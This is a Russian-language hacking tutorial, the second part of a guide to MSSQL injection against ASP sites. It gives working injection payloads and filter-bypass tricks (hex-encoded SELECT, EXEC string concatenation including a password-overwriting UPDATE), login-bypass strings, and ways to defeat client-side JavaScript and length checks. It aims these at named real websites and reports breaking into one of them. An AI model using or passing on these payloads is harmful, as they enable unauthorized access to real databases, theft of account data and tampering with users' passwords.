После выхода предыдущего
мануала по тонкостям mssql-инъекций, меня не однократно просили продолжить
тему. И вот я подготовил вторую часть.
Начнем мы с нечасто встречаемого, но в то же время наиболее затруднительного
для новичков вопроса: «Что делать если в запросе select фильтруется?», т.е.
запрос вида:
http://www.target.com/data.asp?id=1%27%20or%201=@@version--
проходит и возвращает версию сервера, а запрос:
http://www.target.com/data.asp?id=1%27%20or%201=(select db_name())—
возвращает сообщение об ошибке или редиректит на главную страницу.
На форумах советуют либо вставлять комментарии в select вида:
sel/*lala*/ect, что честно говоря, у меня никогда это не проходило и ошибка
скули всегда сообщала, что:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'ect'.
Так же, часто рекомендуют использовать деление операторов:
http://www.target.com/data.asp?id=1';EXEC('SEL'+'ECT db_name())--
http://www.target.com/data.asp?id=1';exec (*UPDA*+*TE users*+*SET password=123456*)—
но и это работает крайне редко.
В то же время фильтрация обходиться крайне просто, достаточно перевести
select в ASCII: %73%65%6C%65%63%74
http://www.target.com/data.asp?id
=1%27%20or%201=(%73%65%6C%65%63%74+db_name())--
и фильтрация в большинстве случаев обходиться. Только не забудь, что обычно
фильтруется не только select, но и другие операторы, поэтому если в процессе
перебора таблиц и полей тебе встретятся такие их названия как: date_update или
date_selected, то их надо зачарить. А то я как-то целый час ломал голову, почему
в базе большого магазина всего три таблицы, пока не понял, что ошибка возникает
из-за фильтрации названия таблицы, содержащей в себе слово select.
Со следующей проблемой я столкнулся впервые на сайте labexp.com.
Меня интересовал доступ в базу:
http://labexp.com/login.good.html
Интуиция подсказывала, что проникнуть внутрь не составит большого труда, и
скорее всего можно будет обойти авторизацию используя одну из комбинаций:
' or 1=1--
" or 1=1--
or 1=1--
' or '1'='1
" or "1"="1
') or ('1'='1
Но вот незадача - при вводе логина режутся символы и больше 10 не вставить, а
при попытке подставить вместо логина и пароля просто кавычку ругается на
некорректный символ в поле id. Но ругается JavaScript'ом, поэтому идем в
исходник html-страницы и видим:
if (theForm.id.value.length > 10)
{
alert("Please enter at most 10 characters in the \"id\" field.");
theForm.id.focus();
return (false);
}
var checkOK =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw
xyzѓЉЊЋљњћџАБВГДЕЖЗИЙКЛМНОПРСТУФХЦШЩЪЫЬЭЮЯабвгдежз
ийклмнопрстуфхцшщъыьэюя0123456789-";
var checkStr = theForm.id.value;
var allValid = true;
var validGroups = true;
for (i = 0; i < checkStr.length; i++)
т.е. JavaScript проверяет ввод корректных символов:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrs
tuvwxyzѓЉЊЋљњћџАБВГДЕЖЗИЙКЛМНОПРСТУФХЦШ
ЩЪЫЬЭЮЯабвгдежзи йклмнопрстуфхцшщъыьэюя0123456789-
никаких кавычек тут нет. Поэтому вставить кавычку не получается.
Но это же проверка на стороне пользователя, поэтому заходим в свойства
браузера, отключаем поддержку JavaScript и в водим в поля :
Courier ID: ' or '1'='1
Password: ' or '1'='1
и мы внутри.
Ну и напоследок сайт www.centennialfunds.com, уязвим скрипт ретрива пароля:
https://www.centennialfunds.com/forgot.asp
в поле Your Email: вставляем
1' or 1=@@version—
и получаем информацию о сервере 🙂 Но я бы не стал приводить здесь его, если
бы все было так просто. Если попробовать перебирать таблицы, то возникает
проблема: количество символов в поле ретрива ограничено. Поэтому идем другим
путем - открываем исходный код страницы и берем оттуда фрагмент:
<h1>Login Reminder</h1>
<p>Enter the email we have on record for you, click on "Send
Login," and your login information will be mailed immediately
to that address.</p><br />
<form name="frmForgot" method="post" action="/forgot.asp"
onSubmit="return EditCheck();">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="where" value="">
Your Email: <input type="text" name="email"
class="formBox" size="30" maxlength="100" value=""><br /><br />
<input type="submit" class="formButton" value="Send Login">
<input type="button" class="formButton" value="Cancel"
onClick="document.location.href='login.asp?where=';">
</form><script language="javascript">
function EditCheck() {
if (CheckNull('frmForgot','email','Please enter your Email Address.')) {
return false;
}
if (CheckEmail('frmForgot','email',
'The email address you entered\ndoes not appear to be valid.')) {
return false;
}
}
document.frmForgot.email.focus();
</script>
Создаем у себя на винте файл html, в который копируем этот код между тегами и
немного его видоизменяем:
<html>
<h1>Login Reminder</h1>
<p>Enter the email we have on record for you, click on "Send
Login," and your login information will be mailed immediately
to that address.</p><br />
<form name="frmForgot" method="post"
action="https://www.centennialfunds.com/forgot.asp"
onSubmit="return EditCheck();">
<input type="hidden" name="submitted" value="true">
<input type="hidden" name="where" value="">
Your Email: <input type="text" name="email"
class="formBox" size="100" maxlength="3000" value=""><br /><br />
<input type="submit" class="formButton" value="Send Login">
<input type="button" class="formButton" value="Cancel"
onClick="document.location.href='login.asp?where=';">
</form>
<script language="javascript">
function EditCheck() {
if (CheckNull('frmForgot','email','Please enter your Email Address.')) {
return false;
}
if (CheckEmail('frmForgot','email','The email
address you entered\ndoes not appear to be valid.')) {
return false;
}
}
document.frmForgot.email.focus();
</script>
<div id="foo" runat="server">
<p><br /><br /><br /><br />Copyright
<script type="text/javascript">
</html>
Прописываем урл сайта и увеличиваем количество символов maxlength="3000", я
сначала поставил 1000, но не хватило. И потом уже перебираем имена таблиц и
полей, только не забудь, это post запрос, поэтому никаких плюсов, только
пробелы.
Продолжение следует…